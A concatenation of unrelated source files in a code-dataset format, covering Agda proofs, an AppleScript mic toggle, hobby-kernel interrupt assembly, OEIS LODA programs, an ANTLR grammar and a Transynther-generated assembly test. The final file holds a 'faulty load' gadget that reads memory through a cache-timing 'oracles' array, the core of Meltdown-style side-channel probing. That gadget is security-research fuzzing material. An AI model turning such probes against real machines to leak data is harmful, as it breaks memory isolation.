dual-compatibleS : (ist : IND.SType 0) →
COI.dual (ind2coiS ist) ≈ ind2coiS (IND.dualS ist)
dual-compatibleG : (gst : IND.GType 0) →
COI.dualF (ind2coiG gst) ≈' ind2coiG (IND.dualG gst)
Equiv.force (dual-compatibleS (gdd gst)) = dual-compatibleG gst
Equiv.force (dual-compatibleS (rec gst))
rewrite (dual-recG' (dualG gst) zero (rec gst))
| dual-lemmaG gst zero (rec gst) = dual-compatibleG (st-substG gst zero (rec gst))
dual-compatibleG (transmit d t s) = eq-transmit (dual-dir d) ≈ᵗ-refl (dual-compatibleS s)
dual-compatibleG (choice d m alt) = eq-choice (dual-dir d) (dual-compatibleS ∘ alt)
dual-compatibleG end = eq-end
|
applescript/mic-toggle.applescript | varunkumar/pup-pad | 1 | 2748 | <reponame>varunkumar/pup-pad
on getMicrophoneVolume()
input volume of (get volume settings)
end getMicrophoneVolume
on disableMicrophone()
say "muted"
set volume input volume 0
end disableMicrophone
on enableMicrophone()
say "unmuted"
set volume input volume 100
end enableMicrophone
on muteApp()
set crntAppPath to (path to frontmost application as text)
if crntAppPath contains "Google Chrome" then
tell application crntAppPath
tell application "System Events"
keystroke "d" using {command down}
end tell
end tell
end if
if crntAppPath contains "zoom.us" then
tell application crntAppPath
tell application "System Events"
keystroke "a" using {shift down, command down}
delay 1
end tell
end tell
end if
if crntAppPath contains "Microsoft Teams" then
tell application crntAppPath
tell application "System Events"
keystroke "m" using {shift down, command down}
delay 1
end tell
end tell
end if
if crntAppPath contains "BlueJeans" then
tell application crntAppPath
tell application "System Events"
keystroke "m"
delay 1
end tell
end tell
end if
end muteApp
if getMicrophoneVolume() is greater than 0 then
muteApp()
disableMicrophone()
else
enableMicrophone()
muteApp()
end if |
kernel/cpu/isr.asm | WivOS/WivOS | 22 | 177385 | section .data
%define smp_trampoline_size smp_trampoline_end - smp_trampoline
smp_trampoline: incbin "build/RELEASE/kernel/proc/trampoline.bin"
smp_trampoline_end:
section .text
%macro ISR_NO_ERR_CODE 1
global isr%1
isr%1:
push 0
push %1
jmp service_interrupt
%endmacro
%macro ISR_NO_ERR_CODE2 1
global isr%1
isr%1:
jmp service_interrupt2
%endmacro
%macro ISR_NO_ERR_CODE3 1
global isr%1
isr%1:
jmp service_interrupt3
%endmacro
%macro ISR_ERR_CODE 1
global isr%1
isr%1:
push %1
jmp service_interrupt
%endmacro
ISR_NO_ERR_CODE 0
ISR_NO_ERR_CODE 1
ISR_NO_ERR_CODE 2
ISR_NO_ERR_CODE 3
ISR_NO_ERR_CODE 4
ISR_NO_ERR_CODE 5
ISR_NO_ERR_CODE 6
ISR_NO_ERR_CODE 7
ISR_ERR_CODE 8
ISR_NO_ERR_CODE 9
ISR_ERR_CODE 10
ISR_ERR_CODE 11
ISR_ERR_CODE 12
ISR_ERR_CODE 13
ISR_ERR_CODE 14
ISR_NO_ERR_CODE 15
ISR_NO_ERR_CODE 16
ISR_ERR_CODE 17
ISR_NO_ERR_CODE 18
ISR_NO_ERR_CODE 19
ISR_NO_ERR_CODE 20
ISR_NO_ERR_CODE 21
ISR_NO_ERR_CODE 22
ISR_NO_ERR_CODE 23
ISR_NO_ERR_CODE 24
ISR_NO_ERR_CODE 25
ISR_NO_ERR_CODE 26
ISR_NO_ERR_CODE 27
ISR_NO_ERR_CODE 28
ISR_NO_ERR_CODE 29
ISR_ERR_CODE 30
ISR_NO_ERR_CODE 31
ISR_NO_ERR_CODE3 32
%macro ISR_FILL 0
%assign i 33
%rep 65 - 33
ISR_NO_ERR_CODE i
%assign i i+1
%endrep
%endmacro
ISR_NO_ERR_CODE2 65
%macro ISR_FILL2 0
%assign i 66
%rep 256 - 66
ISR_NO_ERR_CODE i
%assign i i+1
%endrep
%endmacro
ISR_FILL
ISR_FILL2
extern dispatch_interrupt
service_interrupt:
push rax
push rbx
push rcx
push rdx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
xor rax, rax
mov ax, ds
push rax
mov ax, 0x10
mov ds, ax
mov es, ax
;mov ss, ax
;mov gs, ax
mov rdi, rsp
call dispatch_interrupt
pop rax
mov ds, ax
mov es, ax
;mov ss, ax
;mov gs, ax
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rdi
pop rsi
pop rbp
pop rdx
pop rcx
pop rbx
pop rax
add rsp, 16
iretq
align 16
global service_interrupt2
service_interrupt2:
cld
push rax
push rbx
push rcx
push rdx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
mov rdi, rsp
xor rbp, rbp
extern ipi_resched
call ipi_resched
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rdi
pop rsi
pop rbp
pop rdx
pop rcx
pop rbx
pop rax
iretq
align 16
global service_interrupt3
service_interrupt3:
cld
push rax
push rbx
push rcx
push rdx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
mov rdi, rsp
xor rbp, rbp
extern pit_handler
call pit_handler
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rdi
pop rsi
pop rbp
pop rdx
pop rcx
pop rbx
pop rax
iretq
invalid_syscall:
mov rax, -1
ret
syscall_count equ ((syscall_table.end - syscall_table) / 8)
syscall_table:
extern debug_syscall
dq debug_syscall ; 0x0
extern open_syscall
dq open_syscall ; 0x1
extern read_syscall
dq read_syscall ; 0x2
extern write_syscall
dq write_syscall ; 0x3
extern close_syscall
dq close_syscall ; 0x4
extern ioctl_syscall
dq ioctl_syscall ; 0x5
extern alloc_at_syscall
dq alloc_at_syscall ; 0x6
extern fork_syscall
dq fork_syscall ; 0x7
extern lseek_syscall
dq lseek_syscall ; 0x8
extern isatty_syscall
dq isatty_syscall ; 0x9
dq invalid_syscall
.end:
global syscall_entry
syscall_entry:
mov qword [gs:0024], rsp
mov rsp, qword [gs:0016]
sti
push 0x1b ; ss
push qword [gs:0024] ; rsp
push r11 ; rflags
push 0x23 ; cs
push rcx ; rip
push rax
push rbx
push rcx
push rdx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
cmp rax, syscall_count
jae .err
mov rdi, rsp
xor rbp, rbp
call [syscall_table + rax * 8]
.out:
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rdi
pop rsi
pop rbp
pop rdx
pop rcx
pop rbx
cli
mov rsp, qword [gs:0024]
o64 sysret
.err:
mov rax, -1
jmp .out
global smp_check_ap_flag
smp_check_ap_flag:
xor rax, rax
mov al, byte [0x510]
ret
global smp_init_trampoline
extern gdt_load_tss
smp_init_trampoline:
mov byte [0x510], 0
mov qword [0x520], rdi
mov qword [0x540], rsi
mov qword [0x550], rdx
mov qword [0x560], rcx
sgdt [0x570]
sidt [0x580]
mov rsi, smp_trampoline
mov rdi, 0x1000
mov rcx, smp_trampoline_size
rep movsb
mov rdi, r8
call gdt_load_tss
mov rax, 0x1
ret
global smp_init_cpu0_local
smp_init_cpu0_local:
mov ax, 0x1b
mov fs, ax
mov gs, ax
mov rcx, 0xc0000101
mov eax, edi
shr rdi, 32
mov edx, edi
wrmsr
mov rdi, rsi
call gdt_load_tss
mov ax, 0x28
ltr ax
ret
global task_return_context
task_return_context:
test rsi, rsi
jz .dont_load_cr3
mov cr3, rsi
.dont_load_cr3:
mov rsp, rdi
pop r15
pop r14
pop r13
pop r12
pop r11
pop r10
pop r9
pop r8
pop rdi
pop rsi
pop rbp
pop rdx
pop rcx
pop rbx
mov rax, qword [rsp+32+8]
mov ds, ax
mov es, ax
pop rax
sti
iretq
global force_resched
force_resched:
cli
mov rax, rsp
push 0x10
push rax
push 0x202
push 0x08
mov rax, .done
push rax
push rax
push rbx
push rcx
push rdx
push rbp
push rsi
push rdi
push r8
push r9
push r10
push r11
push r12
push r13
push r14
push r15
extern schedulerLock
lock inc qword [schedulerLock]
mov rdi, rsp
.retry:
xor rbp, rbp
extern schedule
call schedule
jmp .retry
.done:
ret
;Todo: Remove this when not needed.
align 16
global test_function
test_function:
; Test function to test if executing from userland space works
int 0x3
int 0x3
jmp $
global end_test_function
end_test_function: |
programs/oeis/131/A131026.asm | karttu/loda | 0 | 12798 | ; A131026: Periodic sequence (2, 2, 1, 0, 0, 1).
; 2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1,0,0,1,2,2,1
add $0,46088
lpb $0,1
add $0,1
mul $0,5
mod $0,6
lpe
mov $1,$0
|
projects/vmt/scratch/call.asm | RobertCurry0216/nand2tetris | 0 | 84930 | // call f.test 2
// if narg == 0, push 0 onto the stack
// and set narg to 1
// @0
// D=A
// @SP
// A=M
// M=D
// @SP
// M=M+1
// save caller frame
// save return addr
@return-id
D=A
@SP
A=M
M=D
@SP
M=M+1
// save local
@LCL
D=M
@SP
A=M
M=D
@SP
M=M+1
// save arg
@ARG
D=M
@SP
A=M
M=D
@SP
M=M+1
// save this
@THIS
D=M
@SP
A=M
M=D
@SP
M=M+1
// save that
@THAT
D=M
@SP
A=M
M=D
@SP
M=M+1
// set arg
@7 // 2 + 5
D=A
@SP
D=M-D
@ARG
M=D
// jump to function
@f.test
0;JMP
// return addr
(return-id)
(f.test) |
oeis/345/A345495.asm | neoneye/loda-programs | 11 | 10263 | ; A345495: Numbers that are the sum of eight squares in eight or more ways.
; Submitted by <NAME>(s4)
; 56,59,62,64,65,67,68,70,71,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,91,92,93,94,95,96,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,123,124,125,126,127,128,129,130,131,132,133,134,135,136,137,138,139,140,141,142,143,144,145,146,147,148,149,150,151,152,153,154,155,156,157,158,159,160,161,162,163
add $0,1
sub $1,$0
add $0,12
mov $2,$1
lpb $0
sub $2,2
add $2,$1
sub $0,$2
div $0,2
mov $2,$1
mul $2,2
lpe
add $0,51
|
translation-methods/functional2imperative/src/main/functional2imperative/parser/Functional.g4 | nothingelsematters/university | 1 | 3960 | grammar Functional;
@header {
package functional2imperative.parser;
import java.util.LinkedList;
import functional2imperative.*;
}
/*
program -> List of (function | functionType)
functionType -> NAME (fuction type | atomic type)
function -> name body
function body -> values, variables, (boolean cases | expression)
boolean cases -> condition & expression
*/
program returns [Lines fns] : list { $fns = new Lines($list.lines); };
list returns [LinkedList<Line> lines]: line { $lines = new LinkedList<Line>(); $lines.add($line.l); }
| line list { $lines = $list.lines; $lines.addFirst($line.l); }
;
line returns [Line l]: functionType NEWLINE { $l = $functionType.dt; }
| function { $l = $function.f; }
| NEWLINE
;
functionType returns [DeclaredType dt]: NAME TYPE type { $dt = new DeclaredType($NAME.text, $type.t); };
type returns [FunctionalType t]: leftType IMPLIES type { $t = new FunctionType($leftType.t, $type.t); }
| leftType { $t = $leftType.t; }
;
leftType returns [FunctionalType t] : NAME { $t = new AtomicType($NAME.text); }
| OPENP type CLOSEP { $t = $type.t; }
;
function returns [FunctionDefinition f] : NAME values body { $f = new FunctionDefinition($NAME.text, $values.vs, $body.fb); };
body returns [FunctionBody fb] : EQUALS expression NEWLINE { $fb = new InsecureFunction($expression.expr); }
| mbnewline booleanCases { $fb = new GuardedFunction($booleanCases.lb); }
;
booleanCases returns [LinkedList<BooleanCase> lb]: bc=booleanCase NEWLINE { $lb = new LinkedList<BooleanCase>(); $lb.add($bc.bc); }
| bc=booleanCase NEWLINE bclist=emptyBooleanCases { $lb = $bclist.lb; $lb.addFirst($bc.bc); }
;
emptyBooleanCases returns [LinkedList<BooleanCase> lb]: bc=booleanCases { $lb = $bc.lb; }
| NEWLINE { $lb = new LinkedList<BooleanCase>(); }
;
booleanCase returns [BooleanCase bc]: CASE cond=expression EQUALS expr=expression { $bc = new BooleanCase($cond.expr, $expr.expr); };
expression returns [Expression expr]: s=expressionString { $expr = new StringExpression($s.str); };
expressionString returns [String str]: OPERATION emptyExpression { $str = $OPERATION.text + " " + $emptyExpression.str; }
| OPENP emptyExpression { $str = $OPENP.text + $emptyExpression.str; }
| CLOSEP emptyExpression { $str = $CLOSEP.text + " " + $emptyExpression.str; }
| LITERAL emptyExpression { if ($emptyExpression.str.matches("[\\),].*"))
$str = $LITERAL.text + $emptyExpression.str;
else
$str = $LITERAL.text + " " + $emptyExpression.str; }
| NAME emptyExpression { if ($emptyExpression.str.matches("[\\(\\),].*"))
$str = $NAME.text + $emptyExpression.str;
else
$str = $NAME.text + " " + $emptyExpression.str; }
;
emptyExpression returns [String str]: expressionString { $str = $expressionString.str; }
| /* epsilon */ { $str = ""; }
;
values returns [LinkedList<Argument> vs]: value values { $vs = $values.vs; $vs.addFirst($value.arg); }
| /* epsilon */ { $vs = new LinkedList<Argument>(); }
;
value returns [Argument arg]: NAME { $arg = new Name($NAME.text); }
| LITERAL { $arg = new Literal($LITERAL.text); }
;
mbnewline : NEWLINE
|
;
TYPE : '::';
IMPLIES : '->';
OPENP : '(';
CLOSEP : ')';
LITERAL : [0-9]+;
NAME : [a-zA-Z_]([a-zA-Z0-9_'])*;
OPERATION : ([!%^&*,\-+<>'"/~]+|'=='|'!=');
CASE : '|';
EQUALS : '=';
NEWLINE : [\n]+;
SPACES : [ \t\r]+ -> channel(HIDDEN);
|
README/Compiling-Programs-with-Erased-Univalence.agda | nad/dependent-lenses | 3 | 9456 | <reponame>nad/dependent-lenses
------------------------------------------------------------------------
-- Code related to the paper "Compiling Programs with Erased
-- Univalence"
--
-- <NAME>
--
-- The paper is coauthored with <NAME> and <NAME>.
------------------------------------------------------------------------
-- Most of the code referenced below can be found in modules that are
-- parametrised by a notion of equality. One can use them both with
-- Cubical Agda paths and with the Cubical Agda identity type family.
-- Note that the code does not follow the paper exactly. For instance,
-- some definitions use bijections (functions with quasi-inverses)
-- instead of equivalences.
-- An attempt has been made to track uses of univalence by passing
-- around explicit proofs of the univalence axiom (except in certain
-- README modules). However, some library code that is used does not
-- adhere to this convention (note that univalence is provable in
-- Cubical Agda), so perhaps some use of univalence is not tracked in
-- this way. On the other hand some library code that is not defined
-- in Cubical Agda passes around explicit proofs of function
-- extensionality.
-- Some other differences are mentioned below.
-- Note that there is a known problem with guarded corecursion in
-- Agda. Due to "quantifier inversion" (see "Termination Checking in
-- the Presence of Nested Inductive and Coinductive Types" by Thorsten
-- Altenkirch and myself) certain types may not have the expected
-- semantics when the option --guardedness is used. I expect that the
-- results would still hold if this bug were fixed, but because I do
-- not know what the rules of a fixed version of Agda would be I do
-- not know if any changes to the code would be required.
{-# OPTIONS --guardedness #-}
module README.Compiling-Programs-with-Erased-Univalence where
import Coherently-constant
import Colimit.Sequential
import Colimit.Sequential.Very-erased
import Equality.Path
import Equality.Path.Univalence
import Equivalence
import Equivalence.Erased
import Equivalence.Erased.Basics
import Equivalence.Erased.Contractible-preimages
import Equivalence.Half-adjoint
import Erased.Basics
import Erased.Cubical
import Erased.Level-1
import Erased.Stability
import H-level.Truncation.Propositional
import H-level.Truncation.Propositional.Completely-erased
import H-level.Truncation.Propositional.Erased
import H-level.Truncation.Propositional.Non-recursive
import H-level.Truncation.Propositional.Non-recursive.Erased
import H-level.Truncation.Propositional.One-step
import Preimage
import Univalence-axiom
import Lens.Non-dependent.Higher
import Lens.Non-dependent.Higher.Erased
import Lens.Non-dependent.Higher.Capriotti.Variant.Erased.Variant
import Lens.Non-dependent.Higher.Coinductive
import Lens.Non-dependent.Higher.Coinductive.Erased
import Lens.Non-dependent.Higher.Coinductive.Small
import Lens.Non-dependent.Higher.Coinductive.Small.Erased
import README.Fst-snd
------------------------------------------------------------------------
-- 2: Cubical Agda
-- The functions cong and ext.
cong = Equality.Path.cong
ext = Equality.Path.⟨ext⟩
-- The propositional truncation operator.
--
-- The current module uses --erased-cubical, so this operator, which
-- is defined using --cubical, can only be used in erased contexts.
@0 ∥_∥ : _
∥_∥ = H-level.Truncation.Propositional.∥_∥
-- The map function. This function is not defined in the same way as
-- in the paper, it is defined using a non-dependent eliminator.
@0 map : _
map = H-level.Truncation.Propositional.∥∥-map
-- The propositional truncation operator with an erased truncation
-- constructor.
∥_∥ᴱ = H-level.Truncation.Propositional.Erased.∥_∥ᴱ
-- Half adjoint equivalences. Note that, unlike in the paper, _≃_ is
-- defined as a record type.
Is-equivalence = Equivalence.Half-adjoint.Is-equivalence
_≃_ = Equivalence._≃_
-- Univalence. (This type family is not defined in exactly the same
-- way as in the paper.)
Univalence = Univalence-axiom.Univalence
-- A proof of univalence. The proof uses glue.
@0 univ : _
univ = Equality.Path.Univalence.univ
------------------------------------------------------------------------
-- 3: Postulating Erased Univalence
-- Erased.
Erased = Erased.Basics.Erased
-- []-cong for paths.
[]-cong = Erased.Cubical.[]-cong-Path
------------------------------------------------------------------------
-- 6.1: Equivalences with Erased Proofs
-- Equivalences with erased proofs. Note that, unlike in the paper,
-- _≃ᴱ_ is defined as a record type.
Is-equivalenceᴱ = Equivalence.Erased.Basics.Is-equivalenceᴱ
_≃ᴱ_ = Equivalence.Erased.Basics._≃ᴱ_
to = Equivalence.Erased.Basics._≃ᴱ_.to
from = Equivalence.Erased.Basics._≃ᴱ_.from
@0 to-from : _
to-from = Equivalence.Erased.Basics._≃ᴱ_.right-inverse-of
@0 from-to : _
from-to = Equivalence.Erased.Basics._≃ᴱ_.left-inverse-of
-- Erased≃ is stated a little differently.
Erased≃ = Erased.Level-1.Erased↔
-- Lemmas 41 and 42 are proved in modules parametrised by definitions
-- of []-cong, in the latter case []-cong is also assumed to satisfy
-- certain properties (that hold for the definition mentioned above).
-- Some definitions below are also defined in such modules.
Lemma-41 = Erased.Level-1.[]-cong₁.Erased-cong-≃
Lemma-42 = Equivalence.Erased.[]-cong.Σ-cong-≃ᴱ-Erased
-- The functions substᴱ and subst.
substᴱ = Erased.Level-1.[]-cong₁.substᴱ
subst = Equality.Path.subst
-- Lemmas 45–47.
Lemma-45 = Equivalence.Erased.[]-cong.drop-⊤-left-Σ-≃ᴱ-Erased
Lemma-46 = Equivalence.Erased.Σ-cong-≃ᴱ
Lemma-47 = Equivalence.Erased.drop-⊤-left-Σ-≃ᴱ
------------------------------------------------------------------------
-- 6.2: A Non-recursive Definition of the Propositional Truncation
-- Operator
-- ∥_∥¹ and Colimit.
@0 ∥_∥¹ : _
∥_∥¹ = H-level.Truncation.Propositional.One-step.∥_∥¹
@0 Colimit : _
Colimit = Colimit.Sequential.Colimit
-- Lemma 50.
@0 Lemma-50 : _
Lemma-50 = Colimit.Sequential.universal-property
-- ∥_∥¹-out and ∥_∥ᴺ.
@0 ∥_∥¹-out : _
∥_∥¹-out = H-level.Truncation.Propositional.One-step.∥_∥¹-out-^
@0 ∥_∥ᴺ : _
∥_∥ᴺ = H-level.Truncation.Propositional.Non-recursive.∥_∥
-- ∥_∥ᴺ and ∥_∥ are pointwise equivalent.
@0 ∥∥ᴺ≃∥∥ : _
∥∥ᴺ≃∥∥ = H-level.Truncation.Propositional.Non-recursive.∥∥≃∥∥
-- Colimitᴱ.
Colimitᴱ = Colimit.Sequential.Very-erased.Colimitᴱ
-- Lemma 54.
Lemma-54 = Colimit.Sequential.Very-erased.universal-property
-- ∥_∥ᴺᴱ.
∥_∥ᴺᴱ = H-level.Truncation.Propositional.Non-recursive.Erased.∥_∥ᴱ
-- Lemma 56 (or rather its inverse).
Lemma-56 = H-level.Truncation.Propositional.Erased.∥∥ᴱ≃∥∥ᴱ
------------------------------------------------------------------------
-- 6.3: Higher Lenses with Erased Proofs
-- Lensᴱ, get and set.
@0 Lensᴱ : _
Lensᴱ = Lens.Non-dependent.Higher.Lens
@0 get : _
get = Lens.Non-dependent.Higher.Lens.get
@0 set : _
set = Lens.Non-dependent.Higher.Lens.set
-- Lensᴱᴱ.
Lensᴱᴱ = Lens.Non-dependent.Higher.Erased.Lens
-- The function _⁻¹_.
_⁻¹_ = Preimage._⁻¹_
-- Lens^C (defined using a record type).
@0 Lens^C : _
Lens^C = Lens.Non-dependent.Higher.Coinductive.Small.Lens
-- Coherently-constant^C.
@0 Coherently-constant^C : _
Coherently-constant^C =
Lens.Non-dependent.Higher.Coinductive.Small.Coherently-constant
-- Lens^CE (with the field name get⁻¹-coherently-constant instead of
-- cc).
Lens^CE = Lens.Non-dependent.Higher.Coinductive.Small.Erased.Lens
------------------------------------------------------------------------
-- 6.4: The Definitions Are Equivalent
-- Lemma 65 (or rather its inverse), and a proof (in an erased
-- context) showing that Lemma 65 preserves getters and setters.
--
-- Lemma 65 and some other lemmas use arguments of type Block s (for
-- some string s). This type is equivalent to the unit type. These
-- arguments are used to block definitions from being unfolded by the
-- type-checker.
Lemma-65 =
Lens.Non-dependent.Higher.Coinductive.Small.Erased.Lens≃ᴱLensᴱ
@0 Lemma-65-preserves-getters-and-setters : _
Lemma-65-preserves-getters-and-setters =
Lens.Non-dependent.Higher.Coinductive.Small.Erased.Lens≃ᴱLensᴱ-preserves-getters-and-setters
-- Lens₁ᴱ and Lens₂ᴱ.
Lens₁ᴱ = Lens.Non-dependent.Higher.Capriotti.Variant.Erased.Variant.Lens
Lens₂ᴱ = Lens.Non-dependent.Higher.Coinductive.Erased.Lens
-- The function _⁻¹ᴱ_.
_⁻¹ᴱ_ = Equivalence.Erased.Contractible-preimages._⁻¹ᴱ_
-- Coherently-constant₁ᴱ, Coherently-constant, Coherently-constant₂ᴱ,
-- Coherently-constant₂^C and constant.
Coherently-constant₁ᴱ =
Lens.Non-dependent.Higher.Capriotti.Variant.Erased.Variant.Coherently-constant
@0 Coherently-constant : _
Coherently-constant = Coherently-constant.Coherently-constant
Coherently-constant₂ᴱ =
Lens.Non-dependent.Higher.Coinductive.Erased.Coherently-constant
@0 Coherently-constant₂^C : _
Coherently-constant₂^C =
Lens.Non-dependent.Higher.Coinductive.Coherently-constant
@0 constant : _
constant = Lens.Non-dependent.Higher.Coinductive.constant
-- Lemmas 74–77.
Lemma-74 = Erased.Stability.[]-cong.Erased-other-singleton≃ᴱ⊤
Lemma-75 = Lens.Non-dependent.Higher.Coinductive.Erased.∥∥ᴱ→≃
Lemma-76 = Equivalence.Erased.other-singleton-with-Π-≃ᴱ-≃ᴱ-⊤
Lemma-77 = H-level.Truncation.Propositional.Erased.Σ-Π-∥∥ᴱ-Erased-≡-≃
------------------------------------------------------------------------
-- 6.5: Compilation of Lenses
-- A slightly more general variant of sndᴱ.
sndᴱ = Lens.Non-dependent.Higher.Erased.snd
-- Lemma 79.
Lemma-79 =
H-level.Truncation.Propositional.Completely-erased.Erased-∥∥×≃
-- A slightly more general variant of snd^C.
snd^C = README.Fst-snd.snd-with-space-leak
-- Lemma 81.
Lemma-81 =
Lens.Non-dependent.Higher.Coinductive.Small.Erased.with-other-setter
-- A slightly more general variant of the variant of snd^C with a
-- changed setter.
snd^C-with-changed-setter = README.Fst-snd.snd
|
Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_576.asm | ljhsiun2/medusa | 9 | 97600 | <reponame>ljhsiun2/medusa<filename>Transynther/x86/_processed/NONE/_xt_/i7-7700_9_0xca_notsx.log_21829_576.asm
.global s_prepare_buffers
s_prepare_buffers:
push %r13
push %r14
push %r8
push %r9
push %rcx
push %rdi
push %rdx
push %rsi
lea addresses_A_ht+0x1de10, %r9
nop
nop
nop
cmp $49453, %rdx
mov $0x6162636465666768, %r14
movq %r14, %xmm5
vmovups %ymm5, (%r9)
nop
nop
nop
nop
nop
and $63277, %r9
lea addresses_WT_ht+0x1572c, %rdi
nop
inc %r13
mov (%rdi), %cx
nop
nop
nop
nop
nop
dec %rcx
lea addresses_WT_ht+0x10924, %r14
nop
nop
and $50794, %r9
movb $0x61, (%r14)
nop
nop
nop
nop
add $55181, %rdx
lea addresses_D_ht+0x3330, %r9
nop
add $58375, %r8
mov (%r9), %edi
xor %r14, %r14
lea addresses_normal_ht+0x1ab30, %rdi
nop
add %rcx, %rcx
mov (%rdi), %edx
nop
and %r13, %r13
lea addresses_D_ht+0x2345, %rdx
clflush (%rdx)
nop
nop
nop
dec %r9
mov (%rdx), %r13d
nop
nop
cmp $38026, %rcx
lea addresses_WT_ht+0x6330, %rsi
lea addresses_normal_ht+0x13e78, %rdi
clflush (%rdi)
nop
nop
nop
cmp $37901, %r9
mov $18, %rcx
rep movsw
nop
nop
nop
nop
nop
add $22844, %r8
lea addresses_A_ht+0x1ef30, %r14
nop
nop
nop
nop
nop
xor $6962, %rdx
mov (%r14), %rcx
nop
nop
nop
nop
nop
cmp %rcx, %rcx
lea addresses_normal_ht+0x16130, %r13
nop
nop
nop
nop
nop
and $42903, %rcx
movl $0x61626364, (%r13)
nop
nop
nop
nop
nop
cmp %rcx, %rcx
pop %rsi
pop %rdx
pop %rdi
pop %rcx
pop %r9
pop %r8
pop %r14
pop %r13
ret
.global s_faulty_load
s_faulty_load:
push %r13
push %r8
push %r9
push %rax
push %rbx
push %rcx
push %rdi
push %rsi
// Load
lea addresses_D+0x9330, %rsi
nop
nop
nop
nop
nop
and %rax, %rax
movups (%rsi), %xmm2
vpextrq $1, %xmm2, %r8
nop
nop
add %rbx, %rbx
// Store
lea addresses_PSE+0x17f30, %r13
clflush (%r13)
nop
nop
and %rcx, %rcx
mov $0x5152535455565758, %r8
movq %r8, %xmm7
movups %xmm7, (%r13)
nop
nop
nop
add $64372, %rax
// REPMOV
lea addresses_A+0x17330, %rsi
lea addresses_UC+0x1163, %rdi
nop
nop
sub $2897, %rbx
mov $65, %rcx
rep movsb
nop
nop
nop
xor $63208, %r9
// Faulty Load
lea addresses_D+0x9330, %rbx
nop
inc %r13
mov (%rbx), %r8w
lea oracles, %rcx
and $0xff, %r8
shlq $12, %r8
mov (%rcx,%r8,1), %r8
pop %rsi
pop %rdi
pop %rcx
pop %rbx
pop %rax
pop %r9
pop %r8
pop %r13
ret
/*
<gen_faulty_load>
[REF]
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_D'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 0, 'same': True, 'type': 'addresses_D'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 16, 'congruent': 10, 'same': False, 'type': 'addresses_PSE'}, 'OP': 'STOR'}
{'src': {'congruent': 8, 'same': False, 'type': 'addresses_A'}, 'dst': {'congruent': 0, 'same': False, 'type': 'addresses_UC'}, 'OP': 'REPM'}
[Faulty Load]
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 0, 'same': True, 'type': 'addresses_D'}, 'OP': 'LOAD'}
<gen_prepare_buffer>
{'dst': {'NT': False, 'AVXalign': False, 'size': 32, 'congruent': 4, 'same': True, 'type': 'addresses_A_ht'}, 'OP': 'STOR'}
{'src': {'NT': False, 'AVXalign': False, 'size': 2, 'congruent': 2, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 1, 'congruent': 2, 'same': False, 'type': 'addresses_WT_ht'}, 'OP': 'STOR'}
{'src': {'NT': True, 'AVXalign': False, 'size': 4, 'congruent': 9, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 11, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'LOAD'}
{'src': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 0, 'same': False, 'type': 'addresses_D_ht'}, 'OP': 'LOAD'}
{'src': {'congruent': 9, 'same': False, 'type': 'addresses_WT_ht'}, 'dst': {'congruent': 2, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'REPM'}
{'src': {'NT': False, 'AVXalign': True, 'size': 8, 'congruent': 9, 'same': False, 'type': 'addresses_A_ht'}, 'OP': 'LOAD'}
{'dst': {'NT': False, 'AVXalign': False, 'size': 4, 'congruent': 9, 'same': False, 'type': 'addresses_normal_ht'}, 'OP': 'STOR'}
{'36': 21829}
36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 36 